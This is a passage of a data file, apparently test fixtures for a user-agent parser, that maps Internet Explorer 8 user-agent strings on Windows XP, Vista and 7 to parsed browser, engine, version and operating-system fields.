"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={005E1D16-F67A-11DD-B20E-00215A1428B0}; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={6B1BE3BF-ED01-4022-B40F-D4ED79387298}; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={A544FCB0-7389-11E0-B0E8-000AE661F44F}; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SearchToolbar 1.2; GTB7.4; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; BRI/2)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "WinXP", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 8 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; TuneUp HTML Client Embedded Web Browser from: http://bsalsa.com/; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; chromeframe/11.0.696.68; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET4.0E; .NET4.0C; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; msn OptimizedIE8;ENIN)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winxp", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident" ], "os" : "windows", "os_string" : "WinXP", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; BLNGBAR; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; BTRS26718; GTB7.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; eSobiSubscriber 2.0.4.16; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.2; BRI/2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; InfoPath.1; .NET CLR 3.5.30729; InfoPath.2; .NET CLR 3.0.30729; .NET4.0C; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; 898700716703; system:4.00231)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; .NET4.0C; .NET CLR 3.0.30729; msn OptimizedIE8;ESMX)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; MRA 5.5 (build 02842); SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.1; .NET CLR 3.5.30729; OfficeLiveConnector.1.4; .NET CLR 3.0.30729; OfficeLivePatch.1.3; .NET CLR 1.1.4322)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SIMBAR={6909F680-0FB6-11E0-BDEF-001BB988ACEC}; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET4.0C; .NET CLR 3.0.30729; AskTbCS-ST/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322; SVD; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Embedded Web Browser from: http://bsalsa.com/; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; AskTB5.6)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; BTRS28059; SIMBAR={7F9B9B37-747C-11E0-9403-4487FC817C3B}; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; ShopperReports 3.0.497.0; S" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; BTRS28496; FunWebProducts; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; BTRS5841; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Facicons; BTRS26734; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; .NET4.0C; BRI/2; AskTB5.8)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; FunWebProducts; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; AskTbFXTV5/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; BTRS25104; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; InfoPath.1; Tablet PC 2.0; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; BTRS27190; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; BRI/2; AskTbSTC/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET CLR 3.0.04506; .NET CLR 3.5.21022; Media Center PC 5.0; SLCC1; InfoPath.2; .NET4.0C; Table" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.1; AskTbMPC2/5.11.0.15286; handyCafeCln/3.3.21; handyCafeCFW/3.3.33 en)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbBLT/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbFLV/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbSB/5.11.3.15590; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; AskTbNG1V5/5.9.1.14019)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GoogleT5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; AskTbGOM2/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SIMBAR={3BC6F5F3-F29C-11DF-BE85-00247EEDA605}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTB5.5)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SIMBAR={5688C0A4-8195-11E0-BD2B-0023AE12D174}; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; AskTbFLV/5.12.1.16460; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SIMBAR={87F6FB80-4BC5-11E0-B2E6-0C607693518C}; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbPTV2/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SIMBAR={B6443B10-2657-11E0-ACE1-0002721A8AA9}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SIMBAR={E38C5794-2DB1-458B-AC51-59B95D8BC95D}; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbFF/5.12.1.16460)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; Tablet PC 2.0; handyCafeCln" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MCIT 1.0)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; AskTbACDS/5.11.0.15286)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPNTDF; InfoPath.1; Tablet PC 2.0; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C; BRI/2; .NET CLR 1.1.4322; AskTB5.6)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; AskTbVDJ/5.11.3.15590)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET 